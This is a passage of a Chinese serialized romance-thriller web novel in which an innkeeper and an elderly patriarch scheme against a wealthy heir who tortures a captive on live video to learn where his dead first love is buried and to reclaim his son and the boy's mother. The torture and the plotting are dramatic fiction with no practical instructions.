他深吸一口气,像是用尽了全身力气,颓然道:“你们刚才的对话,我都听到了。事实……就是那样。” 秦绵绵眉头紧皱。 “萧玦,你真是刷新了我对渣男的认知。”秦绵绵冷冷地看着他,“既然她已经不在了,你现在又对七妹母子演这出‘追妻火葬场’,不觉得恶心吗?你对得起照片上这个人吗?又对得起七妹吗?” 她扬了扬手中的照片:“放过朱七妹和小宝,给他们一条生路,让他们安安稳稳过日子。只要你答应从此不再打扰他们,这张照片,我还给你。” 萧玦闻言,脸上的痛苦和哀恸渐渐褪去,取而代之的是一片冰冷的讥诮。 他缓缓直起身子,虽然依旧坐在轮椅上,那股子属于上位者的压迫感却重新回到了他身上。 “秦绵绵,你以为你是谁?可以替他们做主?”萧玦冷笑一声,“萧家的子嗣,绝不可能流落在外。小宝是我的儿子,这一点,谁也改变不了。你逼急了,萧家的长辈为了血脉延续,甚至会做出‘去母留子’的事情,想必那样的场面,不是你希望看到的。” 秦绵绵脸色一变,她知道萧玦不是在危言耸听。那些顶层豪门为了子嗣,什么事情做不出来。 萧玦看着她变了的脸色,唇角的弧度更深了些,带着一丝残忍的快意:“另外,我再告诉你一件事。这张照片,除了我,还有一个人也非常在意。而且,那个人……还是你的老熟人。” “谁?” 萧玦一字一顿,清晰地吐出两个字:“姚、祁。” 说完,他竟不再索要照片,推着轮椅,头也不回地转身上了楼。 秦绵绵愣在原地,低头看着手中的照片,又想起姚祁那张痞气英俊的脸,一时间,有点乱。 这照片上的人,跟姚祁又有什么关系? 而且,听萧玦那意思,姚祁对这照片上的人,似乎也……很在意? 钱老先生在一旁也是眉头紧锁,沉吟道: “阿祁的事情,我不是很了解。” 姚祁虽然已经回归钱家,但钱老先生对他的了解确实不算多。 秦绵绵深吸一口气,将纷乱的思绪压下。 “钱老,您先歇着,这事我得弄清楚。”她说着,拿出手机,对着那张旧照片拍了张清晰的图,直接发给了盛意。 附带消息:“帮我查查照片上这个女孩的底细,越详细越好。另外,她和姚祁可能有什么关联。” 盛意那边秒回:“收到!” 秦绵绵抬头看向二楼萧玦房间的方向,眼神复杂。 而此时,萧玦的房间内,却是一片阴冷。 窗帘拉得严严实实,只留电脑屏幕的光幽幽地照着他苍白而阴沉的脸。 屏幕上,是一个视频通话界面。 对面的人影在昏暗的背景下显得模糊,但姿态却异常恭敬。 萧玦的指尖在轮椅扶手上轻轻敲击着,发出规律的轻响,他盯着屏幕,声音没有一丝温度:“姚祁那边怎么样了?” 对面的人迟疑了片刻:“……还是老样子,嘴硬得很。用了些手段,但他什么都不肯说。” 第231章 埋葬之地 萧玦的声音透过电流,带着一股子不耐烦,“废物。” 屏幕对面人影瑟缩了一下,声音带着畏惧:“姚祁他……他嘴太硬了。各种法子都试过了,新伤叠旧伤,浑身没几块好皮,可他……还是一口咬定什么都不知道。” “人呢?” 画面微微晃动,镜头被调整了一下,对上一个蜷缩在角落的身影。 男人浑身血迹斑斑,头发被汗水和血水浸湿,黏在额头上,狼狈不堪。 即便如此,那身影在察觉到镜头的注视时,还是努力地抬了抬头,露出一张虽然青肿却依旧带着几分桀骜的脸。 正是姚祁。 他身上穿着单薄的衣服,早已被鞭痕和血污浸透,手腕和脚踝处有深色的勒痕,显然是遭受了非人的折磨。 新添的伤口狰狞外翻,与旧日的疤痕交错,触目惊心。 “姚祁,”萧玦的声音如同淬了冰,“你姐姐的遗体,究竟在哪里?别跟我耍花样,我的耐心有限。” 姚祁虚弱地喘息了几下,费力地扯了扯嘴角,露出一抹讥讽的笑:“萧玦……咳咳……你就是把我这点骨头拆了……我也不知道……” 他说话断断续续,每吐出一个字都像耗尽了全身的力气。 萧玦的指尖在轮椅扶手上敲击的动作停了下来,眼底的阴鸷愈发浓重。 忽然,姚祁却像是察觉到了什么,他眯起那双肿得只剩一条缝的眼睛,死死盯着视频中萧玦身后的背景。 虽然模糊,但这个地方的细节他却十分熟悉。 那是……客栈的窗棂样式? 还有那墙壁的颜色…… 萧玦是在秦绵绵的客栈里! “萧玦!”姚祁的声音陡然拔高,瞪大眼睛,“你在客栈?!你不是答应过我,不动她的吗?!” 他挣扎着想要坐直身体,却牵动了满身的伤口,疼得倒抽一口冷气,额上青筋暴起。 然而,萧玦的表情在姚祁吼出这句话的瞬间,却僵硬了一瞬,尽管极快地掩饰了过去,但那细微的不自然还是没有逃过姚祁的眼睛。 不仅是他,连带着萧玦身边那些垂手侍立的手下,表情也出现了一丝微妙的古怪。 姚祁是何等聪明的人,只这一刹那的异样,便让他捕捉到了关键。 他先是一愣,随即,那张惨不忍睹的脸上,竟然爆发出了一阵狂放的大笑: “哈哈……哈哈哈哈!萧玦!你他妈的……你也有今天!你是不是……是不是在秦绵绵手上吃瘪了?!” “掌柜的……好样的!哈哈!我就知道你不是那么好对付的!萧玦,你以为你是谁?太子爷?在秦绵绵面前,你算个屁!” 姚祁笑得眼泪都出来了,混杂着血水,更显狰狞。 “萧公子,你看看你现在这副鬼样子,是不是被她收拾得服服帖帖了?活该!真是活该啊!” 萧玦的脸色铁青,握着扶手的手背上青筋凸起,眼底的杀意几乎要凝成实质。 姚祁笑够了,脸上的表情却骤然一变,那股子痞气和狠劲再次浮现,眼神冰冷得像淬了毒的刀子: “萧玦,我告诉你,我姐姐的骨灰早就被我扬了!撒进大海了!你这辈子,下辈子,都休想再见到她!你死了这条心吧!” “你找死!”萧玦低吼一声,猛地切断了视频通话。 房间内,电脑屏幕暗了下去,只剩下萧玦粗重的喘息声。 他胸膛剧烈起伏,额角渗出的汗珠沿着苍白的脸颊滑落,那双阴鸷的眸子里,翻涌着暴怒和一种难以言说的挫败。 与此同时,客栈一楼。 秦绵绵的手机“叮咚”一声,提示收到了新消息。 她划开屏幕,是盛意发来的邮件。 邮件内容简洁明了,附带着几张补充的资料图片。 “秦小姐,照片上的女孩名叫岑小柔。根据初步调查,岑小柔早年居住在京城,家境似乎不错。大约十五年前,岑家突遭变故,家道中落,举家搬迁至海城临近的一个小城市。几年后,岑小柔父母意外双亡,她被送入了当地一家孤儿院。” “重点是,姚祁也曾在那家孤儿院待过。根据孤儿院的记录和一些老人的回忆,姚祁在孤儿院期间,与一个名叫岑小柔的女孩关系很好,情同姐弟。岑小柔比姚祁大三岁,一直很照顾他……” 秦绵绵看着屏幕上的文字,一张张翻阅着附带的资料,有岑小柔学生时代的登记照,还有一张孤儿院的旧合影。 照片上,一个瘦弱却刚劲的少年站在一个梳着马尾辫的女孩旁边,女孩脸上带着温柔的笑意,少年脸上带着古怪的别扭。 这是已经长成了的姚祁。 在被秦绵绵救助过后,他以自己的野草一般的韧劲在孤儿院活了下来,长大,并且强大起来。 这个叫岑小柔的女孩子,就是这个时候闯入他的生活的。 他们关系很好,情同姐弟,现在看起来,当时肯定也是姐弟相称了。 而姚祁说是来报恩自己,却从来没和自己提过这件事。 秦绵绵望着照片上的两个人,心里一时说不出是什么滋味。 半晌,秦绵绵长长地吐出一口气,心中的诸多疑团在这一刻豁然开朗。 难怪萧玦会对那张照片如此紧张,难怪萧玦说姚祁也会对那张照片很在意。 这个叫岑小柔的女孩子,是从未体会过亲情的少年姚祁认下的姐姐,同时也是萧玦的白月光。 “查到什么了?” 钱老先生凑过来,跟秦绵绵一起看。 但下面的文字就有点让人难受了。 邮件最后几行字,补充了岑小柔的结局。 “……根据零星的线索,岑小柔在几年前因病去世。丧事是姚祁一手操办的,但具体安葬在何处,目前未能查明。似乎姚祁刻意隐瞒了她的墓地信息。” 秦绵绵看到这里,指尖微微一顿,脑海中瞬间闪过萧玦发给她的那个视频。 视频里萧玦的手下对姚祁拳打脚踢,那个背景,似乎就是个墓园。 难道萧玦折磨姚祁,不是为了什么陈年旧事,而是为了得知岑小柔的埋葬之地? 第232章 我知道她葬在哪里 钱老先生也看完了邮件,眉头皱得更紧了: “这岑小柔,竟然是阿祁的姐姐……这孩子,从来没跟我提过。他只说在孤儿院受过一个姐姐的照顾,没想到……” 他叹了口气,“阿祁这小子,性子倔,认准的事情九头牛都拉不回来。岑小柔是他认定的亲人,他自然会拼了命去守护。萧玦想从他嘴里问出岑小柔的安葬之地,怕是难如登天。” 秦绵绵点点头,正沉思着,手机又震动了一下,一瞧,竟是姜敬意打来的电话。 “绵绵。我这边查到一些情况。罗小胖没什么事,他一直没有消息,只是被他爸妈看得死死的,在家里好吃好喝,就是不准出门,暂时没有危险。” “重点是姚祁,”姜敬意的声音沉了下来,“他失踪了。我找人查了监控,他最后出现的地方是京城西郊一个很偏僻的废弃墓园。那地方荒凉得很,平时根本没人去。” 秦绵绵的心一紧:“墓园?” “对。我亲自带人过去看过了,那墓园里大多是些无主的孤坟,没什么特别的。不过,其中有一座,看土质痕迹,像是最近被人动过,痕迹很明显。” 动过土的孤坟…… 秦绵绵的脑海中,岑小柔、姚祁、萧玦,这三个人的身影和那座孤坟的影像交织在一起,一个大胆的想法渐渐成形。 “我知道了。四叔你继续留意萧家和姚祁的动向,有任何消息立刻通知我。同时也要注意安全。” 姜敬意打了个哈哈,挂掉了电话。 钱老先生在一旁听了个大概,忧心忡忡:“丫头,这事越来越复杂了。萧家那小子本就偏执,现在为了个死去的人,竟然……” 秦绵绵沉默片刻,忽然抬起头,嘴角勾起一抹意味深长的笑:“钱老,有时候,死人比活人更有用。” 第二天一早,客栈的厨房里难得飘出了一阵清淡的粥香和精致小菜的香气。 新来的厨师战战兢兢地按照秦绵绵的吩咐,给二楼那位煞神准备了一份与往日“黑暗料理”截然不同的早餐——小米南瓜粥,配着几碟爽口的小菜,还有一笼白白胖胖的肉包子。 萧玦被轮椅推下来的时候,看到桌上那份正常的早餐,眉头几不可察地挑了一下。 他狐疑地看了一眼站在一旁的秦绵绵。 秦绵绵今天穿了件素净的棉布裙子,脸上带着浅淡的笑意,和平日里那副随时准备坑人的模样判若两人。 “萧先生,尝尝看,今天的早餐还合胃口吗?”她声音温和,仿佛之前的剑拔弩张都不曾存在。 萧玦没说话,只是拿起勺子,慢条斯理地尝了一口粥。味道确实不错,清淡养胃。 他放下勺子,冷眼看着秦绵绵:“无事献殷勤,非奸即盗。说吧,你又想耍什么花样?” 秦绵绵也不恼,施施然在他对面坐下,给自己也盛了碗粥。 “萧先生快人快语,那我也就不拐弯抹角了。”秦绵绵放下碗,目光清亮地看着他,“放了姚祁,也放过朱七妹母子,从此以后,和他们再无瓜葛。” 萧玦闻言,嗤笑一声,眼底的讥诮毫不掩饰:“秦绵绵,你凭什么跟我谈条件?” “就凭我知道,”秦绵绵一字一顿,清晰地说道,“岑小柔葬在哪里。” 萧玦端着粥碗的手猛地一僵,碗沿的粥水都晃荡了出来。 他骤然抬起头,那双阴鸷的眸子死死地盯住秦绵绵。 “你知道?”他声音沙哑,几乎是从牙缝里挤出来的。 秦绵绵脸上的笑意不变,甚至还带着几分悲天悯人的意味:“萧先生,逝者已矣,生者如斯。你这般执着,又是何苦呢?” 萧玦盯着秦绵绵,眯着眼睛:“秦小姐本事通天……查的可真是快。” 秦绵绵笑意灿烂:“也没什么了不起的,一点雕虫小技罢了。” 萧玦的呼吸明显粗重了几分,眼神复杂地在她脸上逡巡,似在判断她话里的真假。 他查了这么久,动用了萧家那么多人力物力,都未能找到岑小柔的安葬之地,姚祁那个硬骨头更是宁死不松口。 秦绵绵到底是怎么这么快就查到的? 但是看她这般笃定云淡风轻的样子,八成,是真的? 萧玦的坐着不动,思绪却不由自主地飘回到十多年前。 记忆里的白色连衣裙,明媚的笑容,雨后阳光一般的温柔。 都是他此生无法忘却的。 他,实在是太想念她了。 哪怕她已经不在人间了,他还是好想念好想念她,想日日夜夜时时刻刻陪伴她。 哪怕只是陪伴她的坟墓,也好。 可就是这么一点小小的愿望,他却很多年难以实现。 而此时此刻,眼前这个女人说,她知道她在哪。 萧玦动摇了。 就在萧玦薄唇微动,似乎要妥协的瞬间,他放在轮椅上的手机突兀地响了起来。 尖锐的铃声划破了餐厅里短暂的宁静。 萧玦蹙眉接通电话,语气不耐:“说。” 电话那头:“报告老板,找到朱小姐和小公子的行踪了。” 萧玦原本阴沉的脸色骤然一变。 “我马上过去!”萧玦挂断电话,“备车!去城郊西坪村!” 手下人不敢怠慢,立刻行动起来。 萧玦转动轮椅,看也不看秦绵绵,只冷冷丢下一句:“秦绵绵,我们的账,稍后再算!” 便要离开。 “哎,萧先生,这就要走了?”秦绵绵扬声道,“我们还没谈完呢。” “等我回来再说!”萧玦头也不回。 秦绵绵见状,眼神微凝,立刻起身想要跟上去。 她绝不能让萧玦轻易带走朱七妹母子。 “小秦丫头,别急。”忽然,一只苍劲的手按住了秦绵绵的肩膀。 秦绵绵回头,是钱老先生。 他不知何时已经站在了她身后,神色平静,眼神却带着洞悉一切的了然。 “钱老?” 钱老先生微微一笑,拍了拍她的肩:“海城到底是咱们老家,还能让他翻了天不成?萧家小子想在这里兴风作浪,也得问问我这把老骨头同不同意。” 第233章 扑空 他说着,不慌不忙地拿出手机,拨了几个号码,言简意赅地吩咐了几句。语气平淡,却自有一股不容置疑的威严。 “行了,丫头,安心等着看戏吧。” 钱老先生挂了电话,重新坐回桌边,慢悠悠地端起给他盛好的粥。 秦绵绵看着钱老先生那副成竹在胸的模样,心下稍安。 她知道钱老先生在海城的能量,他说行,那就是行的。 果不其然,萧玦前脚刚离开客栈,网络上关于“京城太子爷海城寻亲”的话题就以更猛烈的姿态爆了开来。 先前萧玦在客栈闹腾,消息虽然被压下去了,但总有些捕风捉影的传闻。 如今他大张旗鼓地带着人马直奔城郊,立刻就被嗅觉灵敏的网红主播们逮了个正着。 好几个不怕死的网红直接开了直播,远远地缀着萧玦的车队,标题起得一个比一个耸人听闻: #独家追踪!京城太子爷海城秘密行动,目标疑似曝光!# #豪门恩怨?神秘女子带球跑?太子爷千里追妻?# 秦绵绵笑着刷着这些直播间,选了个镜头最稳,离得最近的一个点了进去。 直播画面里,萧玦的车队在一片低矮破旧的城中村前停下。 那地方秦绵绵有些印象,是海城待拆迁的老区,鱼龙混杂,环境相当糟糕。 萧玦坐在轮椅上,由手下推着,脸色阴沉地带人闯进了一栋看起来摇摇欲坠的小楼。 主播的声音带着兴奋的颤抖:“家人们!看到了吗!太子爷进去了!这里面住的肯定就是那个神秘女人!” 弹幕瞬间刷屏: “快快快!镜头跟上啊!” “我赌五毛,肯定是找到了!” “这女的也太能藏了吧?居然躲在这种地方?” 秦绵绵也有些紧张地盯着屏幕。 然而,没过多久,就见萧玦的人马簇拥着他从那小楼里出来了。 萧玦的脸色比进去时更加难看,周身都散发着低气压,仿佛下一秒就要杀人。 主播也愣了:“呃……情况似乎有些不对啊……太子爷的表情……好像不太高兴?” 紧接着,就看到几个手下垂头丧气地跟在萧玦身后,其中一人还在小声汇报着什么。 虽然听不清具体内容,但从他们那副模样,秦绵绵也能猜到,萧玦扑了个空。 直播镜头努力拉近,对准了萧玦那张铁青的脸。 “人呢?”萧玦的声音透过微弱的收音传了过来,冰冷刺骨,“不是说就在这里吗?!” 一个手下战战兢兢地回答:“老……老板,我们找到的时候,人……人刚走,屋里茶水还是热的……就、就差那么一点点……” “废物!”萧玦低吼一声,猛地一挥手,将旁边一个破旧的杂物架扫翻在地,发出一声巨响。 直播间里一片哗然。 “我去!太子爷发飙了!” “白跑一趟?哈哈哈哈,笑死我了!” “这主播也是头铁,离这么近,不怕被打吗?” 秦绵绵看着屏幕里萧玦那副气急败坏却又无可奈何的模样,嘴角不由自主地勾起一抹浅笑。 看来,钱老先生的能量,果然还是大。 舆论是钱老先生煽动的,而朱七妹母子也是他提前探知,赶在萧玦前面接走的。 就比他快那么一点点。 看着屏幕里萧玦气急败坏的样子,秦绵绵笑的愈发灿烂了。 就在秦绵绵欣赏着萧玦吃瘪的表情,准备再截几张图发给姜敬意和盛意共赏时,客栈外,一辆毫不起眼的黑色小轿车悄无声息地停在了门口。 车门打开,钱老先生手下得力的保镖先一步下来,警惕地环顾四周,然后才拉开了后座的车门。 一个略显憔悴的女人抱着一个睡眼惺忪的孩子,从车上走了下来。 正是朱七妹和她的儿子。 秦绵绵放下手机,快步迎了上去,钱老先生也拄着拐杖,慢悠悠地跟在后面。 “七妹,先进来再说。”秦绵绵扶着朱七妹的胳膊,将她和小家伙带进了客栈。 朱小宝快速扑到秦绵绵怀里,高兴地喊了一声:“绵绵姨姨!” “哎,小宝乖。”秦绵绵摸了摸他的头,示意厨师赶紧准备些孩子吃的点心和热牛奶。 朱七妹的脸色不太好,眼下有着浓重的青黑,显然这几日东躲西藏,没能好好休息。 她看着秦绵绵,脸上带着几分愧疚和疲惫,比划起来: 【掌柜的,对不住,又给你添麻烦了。】 “说的什么话。”秦绵绵拉着她在临窗的桌边坐下,“先喝口水,缓缓神。到底怎么回事?萧玦的人不是说你带着小宝远走了吗?” 朱七妹接过秦绵绵递来的温水,捧在手心,长长地叹了口气: 【我本来是想带着小宝彻底离开海城的,走得远远的,让他再也找不到。】 【那天,我带他走之后,本来是想干脆一不做二不休,废了他……他毕竟是小宝的父亲,不能真的杀了他……】 朱七妹说到这里,苦笑了一下,【可真到了那个时候,看着他那张脸,我还是下不去手。然后他醒了,花言巧语地哄我,赌咒发誓,还说会好好对小宝……】 秦绵绵静静地看着她的手语,没有插话。 【我知道他的话不可信,可……】朱七妹的眼神黯淡下来,【可我还是动摇了那么一瞬间。最后,我只能趁他不备,把他打晕,然后带着小宝跑了出来。我以为他醒了之后,会立刻派人追查我的下落,会追出海城,没想到……他竟然又回了客栈。】 朱七妹脸上满是懊恼和自责:【都怪我,当时就该狠下心,不该给他任何机会。现在他守在客栈,反而让你也陷入了麻烦。掌柜的,我真是……】 “没事的,七妹。”秦绵绵安抚她,“萧玦那个人精明得很。他知道客栈是你和小宝在海城唯一的家,也知道你担心我,必然走不远。他守在这里,就是在等你自投罗网,或者逼我把你交出去。” 秦绵绵的眼神冷了冷:“他算盘打得倒是精。” 【……那现在怎么办?他肯定很快就会知道我回来了。】 第234章 选一个 秦绵绵握住朱七妹有些冰凉的手:“七妹,你一向是个爽利果敢的人。这件事拖泥带水,对你,对小宝,都没有好处。既然已经走到了这一步,就不要再犹疑了,当断则断。” 朱七妹看着秦绵绵,嘴唇动了动,似乎想说什么。 就在这时,秦绵绵放在桌上的手机屏幕骤然亮起,发出刺耳的视频通话请求铃声。 来电显示——萧玦。 秦绵绵挑了挑眉,看了一眼朱七妹,按下了接通键。 屏幕上立刻出现了萧玦那张阴沉得能滴出水的脸,背景晃动,显然他正在急速赶回来的车上。 “秦绵绵!”萧玦的声音像是从冰窖里捞出来的,带着浓浓的戾气,“七妹是不是回去你那里了?!” 萧玦留在客栈里的人效率也高,朱七妹母子刚到没多久,消息就已经传回萧玦耳中了。 “萧先生消息真是灵通。”秦绵绵语气平淡,甚至还带着一丝若有若无的笑意。 “少废话!”萧玦咬牙切齿,“看好她!她们母子要是再失踪,我可就真的不客气了。” 秦绵绵脸上的笑意不变:“萧先生,这你可就为难我了。七妹是自由身,她想去哪里,想做什么,我可做不了她的主。” 萧玦冷笑:“七妹最听你的话,只要你开口,她肯定乖乖等着我回去。” 秦绵绵端起桌上的茶杯,慢悠悠地抿了一口,才不紧不慢地反问:“哦?是吗?那……我要是不呢?” 电话那头的萧玦,呼吸猛地一滞。 他死死地盯着屏幕里的秦绵绵,眸子里闪过一丝阴鹫,随即勾起一抹残忍而得意的冷笑。 “既然秦小姐敬酒不吃吃罚酒,那也别怪我不客气了。” 说着,他手指在另一个设备上操作了几下。 秦绵绵的手机“叮”的一声,收到了一条新的消息。 是一个直播链接。 萧玦的声音带着一丝病态的愉悦:“秦小姐,不妨点开看看。” 秦绵绵点开了那个链接。 手机屏幕上,画面加载出来,映入眼帘的,是一个阴暗潮湿的密室。 姚祁被铁链锁在墙上,浑身是血,身上的衣服早已被撕裂浸透,露出道道深可见骨的鞭痕。 他低垂着头,头发凌乱地遮住了脸,生死不知。 而在他身旁,一个穿着黑衣的壮汉,手里正拿着一根闪着寒光的带刺铁鞭,狞笑着,高高扬起—— “秦绵绵,”萧玦的声音如同恶魔的低语,“姚祁的命,现在可就攥在你手里了。你是要他生,还是要他死,全凭你一句话。” 画面里,姚祁那张曾经带着几分桀骜和痞气的脸,此刻只剩下青紫和血污,唯有那双肿得几乎睁不开的眼睛,在察觉到秦绵绵的注视时,微微动了动。 “姚祁?”秦绵绵的声音有些干涩。 视频那头,姚祁似乎听到了她的声音,费力地抬了抬眼皮,目光涣散地在镜头前聚焦了片刻,然后,他扯出一个比哭还难看的笑容,声音沙哑得像是破旧的风箱: “掌柜的……让你见笑了……” 他每说一个字,嘴角都有血沫渗出,顺着下巴滴落。 秦绵绵暗暗咬了咬牙:“你怎么样,撑不撑得住。” “撑得住……咳……”姚祁喘息着,本来涣散的眼神里因为听到了秦绵绵的声音而带上了一丝神采。 原本萧玦都是暗地里折磨他的,今天不知道怎么回事,竟然直播给了秦绵绵。 姚祁想了想,立刻明白了过来。 “……别被他威胁……”他带血的薄唇笑了笑,“我也不是你什么人,不值得你为我……接受他的威胁……” 秦绵绵哑然。 她突然想起姚祁离开客栈前,曾三番四次想跟她说话,却因为她太了然,几次都故意拒绝了他。 导致他的话,到现在还没说出来。 虽然现在不是说这句话的时候,但他这句略带委屈的话,跟告白又有什么区别呢。 秦绵绵心里酸涩了一瞬。 “听到了吗,秦绵绵?”画面里,姚祁的声音突然拔高。 秦绵绵咬牙道:“你别说话了,坚持住,我一定会救你出来的。” 另一边,萧玦的声音带着病态的兴奋,像一条吐着信子的毒蛇: “哎呀,好一出情深大戏呀……秦绵绵,现在,我给你一个选择的机会。” 他让手下慢条斯理地调整了一下镜头,让姚祁的惨状更加清晰地展现在秦绵绵眼前。 “朱七妹母子,或者,姚祁。你选一个。你若选朱七妹,我现在就放了她们母子,保证她们下半辈子衣食无忧,再不打扰。你若选姚祁……就把七妹母子还给我。” 秦绵绵握着手机的指节因为用力而微微泛青。 朱七妹也看到了视频里的景象,她瞪大眼睛,咬着牙,但眼泪还是涌了出来。 “秦绵绵,我的耐心,是有限的。” 秦绵绵沉默了片刻,冷笑道:“萧玦,你以为用这种下三滥的手段,就能逼我就范?” “哦?看来秦小姐是想两个都保?”萧玦嗤笑一声,“可惜,你没这个本事!” 他对直播间的手下下了命令:“看来姚祁的骨头还是太硬了,给他松松!” 画面中,那个手持带刺铁鞭的壮汉狞笑一声,手臂肌肉虬结,猛地将鞭子高高扬起,然后狠狠地抽了下去! “啪——!” 一声令人牙酸的脆响,鞭子精准地落在了姚祁本就血肉模糊的后背上。 姚祁发出一声闷哼,身体剧烈地颤抖了一下,蜷缩得更紧了。鲜血瞬间从新的伤口涌出,将他破烂的衣衫浸染得更加深暗。 “姚祁!”秦绵绵厉声喝道。 “继续!”萧玦的声音冰冷而不带一丝感情。 第二鞭,第三鞭…… 鞭子裹着风声,一下下地抽在姚祁的身上,皮开肉绽的声音透过电流清晰地传了过来。姚祁死死咬着牙,喉咙里发出野兽受伤般的低吼,却始终没有吐出一个求饶的字眼。 鲜血飞溅,有些甚至溅到了镜头上,模糊了画面。 “萧玦!你给我住手!”秦绵绵的声音似乎因为愤怒而微微有些颤抖。 “选啊,秦绵绵。”萧玦欣赏着她的失态,语气越发得意,“很简单的一个选择题,不是吗?” 第235章 做了他 钱老先生在一旁看着,脸色早已铁青一片。 当他看到姚祁被那带着倒刺的鞭子抽得浑身颤抖,血肉模糊时,他那只拄着拐杖的手猛地收紧,指关节捏得发白,浑浊的老眼里第一次露出了难以抑制的痛苦和狂怒。 那是他的外孙啊!是他失散多年,好不容易才有些眉目的亲外孙! 钱老先生的嘴唇哆嗦着,猛地站起身,似乎下一秒就要不顾一切地冲过去。 秦绵绵眼角余光瞥见钱老先生的异样,却飞快地打了个手势,然后,用口型无声地对他说了一句话。 钱老先生瞪大眼睛。 秦绵绵说的是: 【做了他。】 钱老先生浑身一震,难以置信地看着秦绵绵。 她这是对萧玦动了杀心了? 他却不知道的是,早在客栈对决的那天晚上,秦绵绵就已经准备要干掉萧玦了,只是因为朱七妹的阻拦,才最终没下手。 不然早就没有现在这些麻烦事了。 秦绵绵笑了笑,再次打手势,告知钱老先生,盛意已经带人在路上了。 就埋伏在萧玦回客栈的必经之路上。 钱老先生立刻走到一边,拿出手机联系了自己的人,要求他们配合盛意他们,在萧玦回来的路上伏击他,务必一击得手! 萧玦的车子离客栈越来越近。 手机屏幕上,直播仍在继续。 姚祁的呼吸愈发微弱,每一次鞭子落下,他身体的抽搐幅度都变小了许多,仿佛生命力正随着飞溅的鲜血一点点流逝。 那张曾经还算清秀的脸,此刻已经完全被血污和肿胀覆盖,看不出本来面貌。 很快,盛意和钱老先生的人都回复了,一切已安排好。 景区大门外那条路,是萧玦回来的必经之路,两边都是密林,他们决定在那里伏击他。 秦绵绵和钱老先生对视一眼,互相点了点头。 就在这时,一直沉默垂泪的朱七妹却猛地抬起头。 她通红的眼眶里闪过一丝决绝,一把夺过秦绵绵手中的手机,将屏幕正对着自己,也正对着视频那头,疾驰在路上的萧玦。 萧玦正催促司机开快点,冷不防屏幕里秦绵绵的脸换成了朱七妹,他先是一愣,随即脸上露出一抹狞笑:“七妹,你终于肯露面了?想通了?” 朱七妹没有理会他的话,深吸一口气,伸出因紧张而微微颤抖的手,对着镜头,一字一句,清晰而用力地比划起来。 【萧玦,我跟你回去。】 萧玦脸上的笑容更大了:“早这样不就好了?何必让姚祁那小子受这么多苦?” 他似乎心情大好,对着手下那边吩咐了一句:“行了,先停手,别把人打死了。” 画面里,那个黑衣壮汉果然停下了扬起的鞭子,退到了一旁。 秦绵绵和钱老先生都惊愕地看着朱七妹。 朱七妹没有停顿,继续比划:【我跟你回京城,可以。但是,我有条件。】 “哦?”萧玦挑了挑眉,但他现在心情不错,愿意听听她的“条件”,“你说。” 【第一,】朱七妹眼神坚定,【你要光明正大地娶我,昭告全天下,我是你萧玦明媒正娶的妻子。】 萧玦闻言,哈哈大笑起来:“好,我答应你!只要你乖乖跟我回去,我风风光光娶你过门!” 朱七妹似乎早就料到他会答应,脸上没有丝毫意外,继续比划:【第二,婚后,你不准再招惹外面的莺莺燕燕,生是我的人,死是我的鬼。如果你做不到,我宁为玉碎不为瓦全!】 这话说得狠厉,配合着她此刻决绝的表情,竟有几分令人心悸的气势。 “好!都依你!”萧玦毫不犹豫地答应。 秦绵绵在一旁看得直皱眉。 朱七妹见萧玦答应得爽快,嘴角勾起一抹几不可察的冷笑,继续比划起来,这一次,她的要求更加具体: 【既然是明媒正娶,那聘礼、彩礼、三金首饰、婚车婚房,一样都不能少。我要京城最大的钻石,最豪华的车队,京城二环内的大平层,房本上必须写我一个人的名字。】 萧玦听到这一连串的要求,愣了一下,随即又笑了。 他们现在好像更像是寻常夫妻,在成婚前谈婚嫁彩礼的问题。 这种感觉,他还从未体验过。 而且这些东西对他而言,不过是九牛一毛。只要能把她和儿子留在身边,花再多钱也值得。 “没问题。只要你提得出,我就给得起。” 朱七妹似乎很满意他的回答,脸上终于露出了一丝笑容,但那笑容却看得秦绵绵心里发毛。 【还有,】朱七妹比划着,【我在这海城无亲无故,既然要风光大嫁,娘家人自然不能少。这客栈里的所有人,绵绵掌柜,钱老先生,还有客栈的伙计们,都得是我的娘家人,给我撑场面。婚礼当天,钱老先生必须做我的证婚人!】 “好,我答应!让他们都给你当娘家人,钱老先生当证婚人,风风光光把你娶进我萧家门!” 秦绵绵和钱老先生对视一眼,都从对方眼中看到了深深的忧虑和不解。 朱七妹却像是松了一口气,对着镜头,露出了一个堪称温柔的笑容,比划道: 【既然你都答应了,那你现在就别回来了。你回去好好准备聘礼,三天之后,带着你的诚意,来客栈下聘。记住,我要的是风风光光的,少一样,我都不嫁。】 说完,不等萧玦反应,朱七妹直接挂断了视频通话。 客栈大堂内,空气中还残留着方才那场惊心动魄的视频通话带来的紧张余韵。 朱七妹挂断电话后,像是卸下了千斤重担,整个人的气势都松弛了下来。她牵着小宝,走到秦绵绵和钱老先生面前,深深地鞠了一躬。 【掌柜的,钱老先生,今天多谢你们周旋。这份恩情,七妹记下了。】 秦绵绵扶起她想问话,朱七妹却轻轻摇了摇头,打断了她的话,脸上带着一丝疲惫却又故作轻松的笑意: 【掌柜的,什么也别说了,也别问了。我自有安排,你们不用管我。】 第236章 按兵不动 朱七妹摸了摸小宝的头: 【小宝,跟姨姨和钱爷爷说再见,我们回房休息了。】 “绵绵姨姨再见!钱爷爷再见!” 小宝乖巧地挥了挥手。 秦绵绵看着朱七妹拉着小宝回后院的背影,眉头微微蹙起,欲言又止。 钱老先生叹了口气:“这丫头,葫芦里卖的什么药……” …… 朱七妹带着小宝回到房间,关上了门。 小宝仰起小脸,眼睛亮晶晶地看着朱七妹:“妈妈,刚才那个凶凶的叔叔,真的是我爸爸吗?我们以后,是不是就能跟他一起生活了?像别的小朋友一样,有爸爸也有妈妈?” 朱七妹蹲下身,温柔地帮小宝整理了一下有些凌乱的衣领,脸上努力挤出一个笑容: 【是啊,小宝。他就是你爸爸。以后,你就有爸爸了,而且,你爸爸还很有钱很有钱。小宝以后再也不用跟着妈妈吃苦受累,可以住大房子,穿漂亮的衣服,吃好多好多好吃的。】 她比划着,手带着一丝不易察觉的颤抖,眼眶也有些发热。 “太好了!”小宝高兴得跳了起来,“那我是不是可以买很多很多玩具?还可以去游乐园?” 【当然可以。】朱七妹笑着,伸手将小宝揽进怀里,紧紧抱着他,【我们小宝想怎么样,就怎么样。】 她的脸埋在小宝小小的颈窝里,小宝看不见的地方,滚烫的泪水无声地滑落,浸湿了他的衣衫。 房门外,秦绵绵的身影悄无声息地站在朱七妹的房门外,把母子二人的对话听了个大概,尤其是朱七妹那强颜欢笑下压抑的哭泣。 她没有打扰,转身轻轻离开后院,回到大堂。 钱老先生正端着茶杯,若有所思。 秦绵绵在他对面坐下,将方才在楼上看到听到的情景简略说了一遍。 